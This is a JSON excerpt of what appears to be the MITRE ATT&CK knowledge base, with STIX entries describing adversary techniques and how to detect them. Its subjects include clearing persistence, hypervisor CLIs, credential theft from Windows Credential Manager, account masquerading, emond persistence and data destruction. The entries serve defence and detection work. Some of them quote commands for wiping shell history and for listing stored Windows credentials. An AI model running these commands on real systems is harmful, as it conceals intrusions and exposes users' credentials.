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            "x_mitre_detection": "As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "SaaS",
                "IaaS",
                "Office Suite"
            ],
            "x_mitre_version": "3.4",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33",
            "created": "2022-07-29T19:32:11.552Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/009",
                    "external_id": "T1070.009"
                },
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Talos - Cisco Attack 2022",
                    "description": "Nick Biasini. (2022, August 10). Cisco Talos shares insights related to recent cyber attack on Cisco. Retrieved March 9, 2023.",
                    "url": "https://blog.talosintelligence.com/recent-cyber-attack/"
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020.",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T20:37:21.515Z",
            "name": "Clear Persistence",
            "description": "Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, [Modify Registry](https://attack.mitre.org/techniques/T1112), [Plist File Modification](https://attack.mitre.org/techniques/T1647), or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence.(Citation: Cylance Dust Storm) Adversaries may also delete accounts previously created to maintain persistence (i.e. [Create Account](https://attack.mitre.org/techniques/T1136)).(Citation: Talos - Cisco Attack 2022)\n\nIn some instances, artifacts of persistence may also be removed once an adversary\u2019s persistence is executed in order to prevent errors with the new instance of the malware.(Citation: NCC Group Team9 June 2020)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Gavin Knapp"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Deletion",
                "User Account: User Account Deletion",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Deletion",
                "Scheduled Job: Scheduled Job Modification",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d2d642da-61ff-4211-b4df-7923c9ca220c",
            "created": "2025-03-26T20:01:13.412Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/012",
                    "external_id": "T1059.012"
                },
                {
                    "source_name": "Broadcom ESXCLI Reference",
                    "description": "Broadcom. (n.d.). ESXCLI Reference. Retrieved March 27, 2025.",
                    "url": "https://developer.broadcom.com/xapis/esxcli-command-reference/latest/"
                },
                {
                    "source_name": "LOLESXi",
                    "description": "Janantha Marasinghe. (n.d.). Living Off The Land ESXi. Retrieved April 14, 2025.",
                    "url": "https://lolesxi-project.github.io/LOLESXi/"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                }
            ],
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            "modified": "2025-04-15T21:24:59.280Z",
            "name": "Hypervisor CLI",
            "description": "Adversaries may abuse hypervisor command line interpreters (CLIs) to execute malicious commands. Hypervisor CLIs typically enable a wide variety of functionality for managing both the hypervisor itself and the guest virtual machines it hosts. \n\nFor example, on ESXi systems, tools such as `esxcli` and `vim-cmd` allow administrators to configure firewall rules and log forwarding on the hypervisor, list virtual machines, start and stop virtual machines, and more.(Citation: Broadcom ESXCLI Reference)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: LOLESXi) Adversaries may be able to leverage these tools in order to support further actions, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Liran Ravich, CardinalOps",
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ],
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1146",
                    "external_id": "T1146"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:12.955Z",
            "name": "Clear Command History",
            "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the <code>~/.bash_history</code> file are indicators of suspicious activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447",
            "created": "2020-11-23T15:35:53.793Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/004",
                    "external_id": "T1555.004"
                },
                {
                    "source_name": "Malwarebytes The Windows Vault",
                    "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.",
                    "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/"
                },
                {
                    "source_name": "Delpy Mimikatz Crendential Manager",
                    "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials"
                },
                {
                    "source_name": "Microsoft Credential Locker",
                    "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft Credential Manager store",
                    "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store"
                },
                {
                    "source_name": "Microsoft CredEnumerate",
                    "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea"
                },
                {
                    "source_name": "passcape Windows Vault",
                    "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.",
                    "url": "https://www.passcape.com/windows_password_recovery_vault_explorer"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T23:21:30.628Z",
            "name": "Windows Credential Manager",
            "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the \u201cBack up...\u201d button on the \u201cStored User Names and Passwords\u201d GUI.\n\nPassword recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Bernaldo Penas Antelo",
                "Mugdha Peter Bansode",
                "Uriel Kosayev",
                "Vadim Khrykov"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:\u201cWindows Credentials\u201d</code>).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, <code>%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0",
            "created": "2024-08-05T21:39:16.274Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/010",
                    "external_id": "T1036.010"
                },
                {
                    "source_name": "Elastic CUBA Ransomware 2022",
                    "description": "Daniel Stepanic, Derek Ditch, Seth Goodwin, Salim Bitam, Andrew Pease. (2022, September 7). CUBA Ransomware Campaign Analysis. Retrieved August 5, 2024.",
                    "url": "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis"
                },
                {
                    "source_name": "Invictus IR Cloud Ransomware 2024",
                    "description": "Invictus IR. (2024, January 11). Ransomware in the cloud. Retrieved August 5, 2024.",
                    "url": "https://www.invictus-ir.com/news/ransomware-in-the-cloud"
                },
                {
                    "source_name": "Huntress MOVEit 2023",
                    "description": "John Hammond. (2023, June 1). MOVEit Transfer Critical Vulnerability CVE-2023-34362 Rapid Response. Retrieved August 5, 2024.",
                    "url": "https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response"
                },
                {
                    "source_name": "Aquasec Kubernetes Attack 2023",
                    "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.",
                    "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"
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            "modified": "2025-04-15T22:48:14.966Z",
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            "description": "Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during [Create Account](https://attack.mitre.org/techniques/T1136), although accounts may also be renamed at a later date. This may also coincide with [Account Access Removal](https://attack.mitre.org/techniques/T1531) if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)\n\nOften, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as \u201cadmin\u201d, \u201chelp\u201d, or \u201croot.\u201d(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to [Account Discovery](https://attack.mitre.org/techniques/T1087).  \n\nNote that this is distinct from [Impersonation](https://attack.mitre.org/techniques/T1656), which describes impersonating specific trusted individuals or organizations, rather than user or service account names.  ",
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                    "source_name": "xorrior emond Jan 2018",
                    "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019.",
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                    "source_name": "magnusviri emond Apr 2016",
                    "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019.",
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                    "source_name": "sentinelone macos persist Jun 2019",
                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
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            "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.",
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            "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
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                    "url": "https://attack.mitre.org/techniques/T1200",
                    "external_id": "T1200"
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                {
                    "source_name": "Ossmann Star Feb 2011",
                    "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.",
                    "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html"
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                {
                    "source_name": "Aleks Weapons Nov 2015",
                    "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.",
                    "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ"
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                {
                    "source_name": "McMillan Pwn March 2012",
                    "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.",
                    "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/"
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                {
                    "source_name": "Frisk DMA August 2016",
                    "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.",
                    "url": "https://www.youtube.com/watch?v=fXthwl6ShOg"
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            "description": "Adversaries may physically introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access points to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)",
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            "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS"
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            "x_mitre_data_sources": [
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                "Application Log: Application Log Content"
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            "created": "2025-03-24T22:24:47.684Z",
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                    "url": "https://attack.mitre.org/techniques/T1219/002",
                    "external_id": "T1219.002"
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                {
                    "source_name": "CrowdStrike 2015 Global Threat Report",
                    "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.",
                    "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf"
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                {
                    "source_name": "CrySyS Blog TeamSpy",
                    "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.",
                    "url": "https://blog.crysys.hu/2013/03/teamspy/"
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                    "source_name": "Google Chrome Remote Desktop",
                    "description": "Google. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://support.google.com/chrome/answer/1649523"
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                    "source_name": "Chrome Remote Desktop",
                    "description": "Huntress. (n.d.). Retrieved March 14, 2024.",
                    "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708"
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                {
                    "source_name": "Symantec Living off the Land",
                    "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.",
                    "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf"
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            "name": "Remote Desktop Software",
            "description": "An adversary may use legitimate desktop support software to establish an interactive command and control channel to target systems within networks. Desktop support software provides a graphical interface for remotely controlling another computer, transmitting the display output, keyboard input, and mouse control between devices using various protocols. Desktop support software, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) \n \nRemote access modules/features may also exist as part of otherwise existing software such as Zoom or Google Chrome\u2019s Remote Desktop.(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop) ",
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                    "phase_name": "command-and-control"
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            "x_mitre_detection": "",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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            "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb",
            "created": "2019-06-28T17:52:07.296Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505",
                    "external_id": "T1505"
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                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
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                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
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            "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)",
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "created": "2019-03-14T18:47:17.701Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1485",
                    "external_id": "T1485"
                },
                {
                    "source_name": "DOJ  - Cisco Insider",
                    "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020.",
                    "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network"
                },
                {
                    "source_name": "Unit 42 Shamoon3 2018",
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
                },
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                },
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Data Destruction - Threat Post",
                    "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.",
                    "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/"
                },
                {
                    "source_name": "Symantec Shamoon 2012",
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
                }
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            "modified": "2025-04-15T19:59:11.731Z",
            "name": "Data Destruction",
            "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "David French, Elastic",
                "Syed Ummar Farooqh, McAfee",
                "Prasad Somasamudram, McAfee",
                "Sekhar Sarukkai, McAfee",
                "Varonis Threat Labs",
                "Joey Lei"
            ],
